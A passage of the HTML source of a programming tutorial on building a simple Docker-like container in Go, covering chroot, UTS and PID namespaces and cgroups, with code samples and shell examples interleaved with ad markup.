class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1749083882/coffee-bytes/cgroups-in-linux_noyjnw.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Example of cgroups in linux&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;cgroups allow you to limit system resources&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;chroot&#34;&gt;Chroot&lt;/h2&gt;&#xA;&lt;p&gt;Chroot, a name that comes from change root, tells Linux to change the directory it is using as root to another one, which means that it will now have a different set of binaries, configurations, and processes.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;create-a-container-from-scratch-with-go&#34;&gt;Create a container from scratch with Go&lt;/h2&gt;&#xA;&lt;p&gt;Simplifying the above we need:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Namespaces: to isolate the processes of our container from the main operating system.&lt;/li&gt;&#xA;&lt;li&gt;Chroot: to provide our container with a file system different from that of the main operating system.&lt;/li&gt;&#xA;&lt;li&gt;Cgroups: to limit the resources of our system to which our container can access&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s create the container base in the same way as Docker, using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;the Go programming language&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;os&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;os/exec&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ./container.go run &amp;lt;cmd&amp;gt; &amp;lt;args&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;switch&lt;/span&gt; os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;run&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&lt;span style=&#34;color:#57c7ff&#34;&gt;run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&lt;span style=&#34;color:#ff5c57&#34;&gt;panic&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;This command doesn&amp;#39;t exist&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;run&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Cocde executing %v with Process Id (PID): %d \n&amp;#34;&lt;/span&gt;, os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:], os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Getpid&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; exec.&lt;span style=&#34;color:#57c7ff&#34;&gt;Command&lt;/span&gt;(os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;], os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;:]&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stdin = os.Stdin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stdout = os.Stdout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stderr = os.Stderr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.&lt;span style=&#34;color:#57c7ff&#34;&gt;Run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I explain the code below.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Inside the main function, os.Args[1] returns the first argument of the program, in case the first argument is run, it will execute the run function. Easy, isn&amp;rsquo;t it?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./container run &amp;lt;cmd&amp;gt; &amp;lt;args&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;exec.Command will take care of executing whatever we pass it after run, as a command to execute, along with its arguments, this can be a &lt;em&gt;echo&lt;/em&gt;, a &lt;em&gt;bash&lt;/em&gt;, an &lt;em&gt;ls&lt;/em&gt;, or whatever you want.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./container run &lt;span style=&#34;color:#ff5c57&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello world&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Code executing &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;echo&lt;/span&gt; Hello world&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; with Process Id &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;PID&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;292753&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Hello world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The following lines with the cmd prefix are summarized as follows.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Redirect the standard input of the command to the standard input of the operating system.&lt;/li&gt;&#xA;&lt;li&gt;Redirect the standard output of the command to the standard output of the operating system.&lt;/li&gt;&#xA;&lt;li&gt;Redirect the error output of the command to the error output of the operating system.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;What does this mean? It means that, in this process, everything we type in our terminal will go directly to the standard command entry that is stored in cmd.&lt;/p&gt;&#xA;&lt;p&gt;To conclude:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cmd.Run, execute the command that we created with &lt;em&gt;exec.Command&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;containers-and-namespaces&#34;&gt;Containers and namespaces&lt;/h2&gt;&#xA;&lt;p&gt;So far we have a program that creates a process from the arguments we pass to it.&lt;/p&gt;&#xA;&lt;p&gt;So far so good, but we have a problem; we are not using namespaces, so our program is not isolated from the rest of the system; we can see all the processes of the main operating system and we are using its file system, instead of our own file system for the container.&lt;/p&gt;&#xA;&lt;p&gt;To assign a namespace to our program, we will use the SysProcAttr method to create a new namespace of type UTS.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;run&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Cocde executing %v with Process Id (PID): %d \n&amp;#34;&lt;/span&gt;, os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:], os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Getpid&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; exec.&lt;span style=&#34;color:#57c7ff&#34;&gt;Command&lt;/span&gt;(os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;], os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;:]&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stdin = os.Stdin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stdout = os.Stdout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stderr = os.Stderr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.SysProcAttr = &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;syscall.SysProcAttr{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;Cloneflags: syscall.CLONE_NEWUTS,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.&lt;span style=&#34;color:#57c7ff&#34;&gt;Run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you read in the list of namespaces, UTS is the namespace for isolating hostname and domain names.&lt;/p&gt;&#xA;&lt;h3 id=&#34;namespace-uts&#34;&gt;Namespace UTS&lt;/h3&gt;&#xA;&lt;p&gt;After setting the &lt;em&gt;Cloneflags&lt;/em&gt;, any changes we make to the hostname will be made only within the namespace. In other words, changes inside our container will not affect anything outside of it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Original hostname&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hostname&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;originalHostname&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Renaming the hostname inside the container &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./container run /bin/bash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hostname anotherName&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Hostname changed inside the container&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hostname&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;anotherName&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Exiting container&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;exit&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# The original hostname didn&amp;#39;t change&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hostname&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;originalHostname&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;isolating-processes-with-the-pid-namespace&#34;&gt;Isolating processes with the PID namespace&lt;/h3&gt;&#xA;&lt;p&gt;Since we saw how a namespace works, let&amp;rsquo;s use it for the main function of a container; isolating processes.&lt;/p&gt;&#xA;&lt;p&gt;We will make the following changes to the main code.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the run function, we will make sure that child is always an argument and therefore the function of the same name is executed.&lt;/li&gt;&#xA;&lt;li&gt;exec.Command(&amp;quot;/proc/self/exe&amp;quot;, args&amp;hellip;) will be used to fork our process with our commands.&lt;/li&gt;&#xA;&lt;li&gt;CLONE_NEWPID will be used to create a new namespace to isolate the processes in our container.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;em&gt;Sethostname&lt;/em&gt; method will be in charge of setting the hostname automatically, useful to know that we are inside the container.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The rest of the code does exactly the same.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;os&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;os/exec&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;syscall&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// go run container.go run &amp;lt;cmd&amp;gt; &amp;lt;args&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;switch&lt;/span&gt; os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;run&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&lt;span style=&#34;color:#57c7ff&#34;&gt;run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;child&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&lt;span style=&#34;color:#57c7ff&#34;&gt;child&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&lt;span style=&#34;color:#ff5c57&#34;&gt;panic&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;This command doesn&amp;#39;t exist&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;run&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    args &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;append&lt;/span&gt;([]&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;child&amp;#34;&lt;/span&gt;}, os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:]&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; exec.&lt;span style=&#34;color:#57c7ff&#34;&gt;Command&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/proc/self/exe&amp;#34;&lt;/span&gt;, args&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stdin = os.Stdin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 